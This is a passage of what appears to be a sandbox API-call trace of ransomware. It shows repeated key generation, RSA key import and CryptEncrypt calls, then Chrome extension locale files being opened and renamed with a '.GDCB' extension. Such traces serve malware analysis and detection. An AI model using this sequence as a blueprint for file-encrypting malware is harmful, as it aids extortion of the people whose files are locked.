hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.052] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0258.052] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0258.054] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.056] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.056] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.056] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.057] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0258.059] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791420) returned 1 [0258.059] CryptGetKeyParam (in: hKey=0x6791420, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.059] CryptEncrypt (in: hKey=0x6791420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.059] GetLastError () returned 0x0 [0258.059] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.059] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.061] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67912a0) returned 1 [0258.062] CryptGetKeyParam (in: hKey=0x67912a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.062] CryptEncrypt (in: hKey=0x67912a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.062] GetLastError () returned 0x0 [0258.062] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.062] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.063] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.066] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.069] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x109, lpOverlapped=0x0) returned 1 [0258.077] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.101] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.gdcb")) returned 1 [0258.107] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.111] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.116] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.116] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.116] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.116] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.119] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.121] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.121] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.121] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.122] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0258.124] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791320) returned 1 [0258.125] CryptGetKeyParam (in: hKey=0x6791320, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.125] CryptEncrypt (in: hKey=0x6791320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.125] GetLastError () returned 0x0 [0258.125] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0258.125] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.127] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791220) returned 1 [0258.127] CryptGetKeyParam (in: hKey=0x6791220, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.127] CryptEncrypt (in: hKey=0x6791220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.127] GetLastError () returned 0x0 [0258.127] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.127] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.128] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.131] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.134] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x103, lpOverlapped=0x0) returned 1 [0258.144] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.152] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.gdcb")) returned 1 [0258.158] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0258.161] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.163] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.163] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.163] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.163] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0258.166] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.168] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.168] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.168] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0258.169] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.171] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791720) returned 1 [0258.172] CryptGetKeyParam (in: hKey=0x6791720, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.172] CryptEncrypt (in: hKey=0x6791720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.172] GetLastError () returned 0x0 [0258.172] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.172] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.174] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791760) returned 1 [0258.174] CryptGetKeyParam (in: hKey=0x6791760, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.174] CryptEncrypt (in: hKey=0x6791760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.175] GetLastError () returned 0x0 [0258.175] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.175] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.176] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.179] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.182] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xf3, lpOverlapped=0x0) returned 1 [0258.191] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.204] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.gdcb")) returned 1 [0258.209] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.212] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.215] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.215] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.215] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.215] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0258.217] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.220] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.221] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.221] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0258.222] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.224] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67917a0) returned 1 [0258.224] CryptGetKeyParam (in: hKey=0x67917a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.224] CryptEncrypt (in: hKey=0x67917a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.224] GetLastError () returned 0x0 [0258.224] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.224] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.226] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791b60) returned 1 [0258.226] CryptGetKeyParam (in: hKey=0x6791b60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.226] CryptEncrypt (in: hKey=0x6791b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.226] GetLastError () returned 0x0 [0258.226] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.226] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.228] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.231] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.233] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x100, lpOverlapped=0x0) returned 1 [0258.242] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.273] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.gdcb")) returned 1 [0258.280] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0258.283] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.285] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.285] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.285] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.285] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.287] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.289] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.289] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.289] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.289] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.291] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791ba0) returned 1 [0258.291] CryptGetKeyParam (in: hKey=0x6791ba0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.292] CryptEncrypt (in: hKey=0x6791ba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.292] GetLastError () returned 0x0 [0258.292] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.292] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0258.294] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791920) returned 1 [0258.294] CryptGetKeyParam (in: hKey=0x6791920, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.294] CryptEncrypt (in: hKey=0x6791920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.294] GetLastError () returned 0x0 [0258.294] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.294] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.295] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.298] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.300] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x149, lpOverlapped=0x0) returned 1 [0258.309] VirtualAlloc (lpAddress=0x0, dwSize=0x150, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.316] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.gdcb")) returned 1 [0258.321] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0258.324] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.326] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.326] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.326] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.326] CryptAcquireContextW (in: phProv=0x285cd2c, 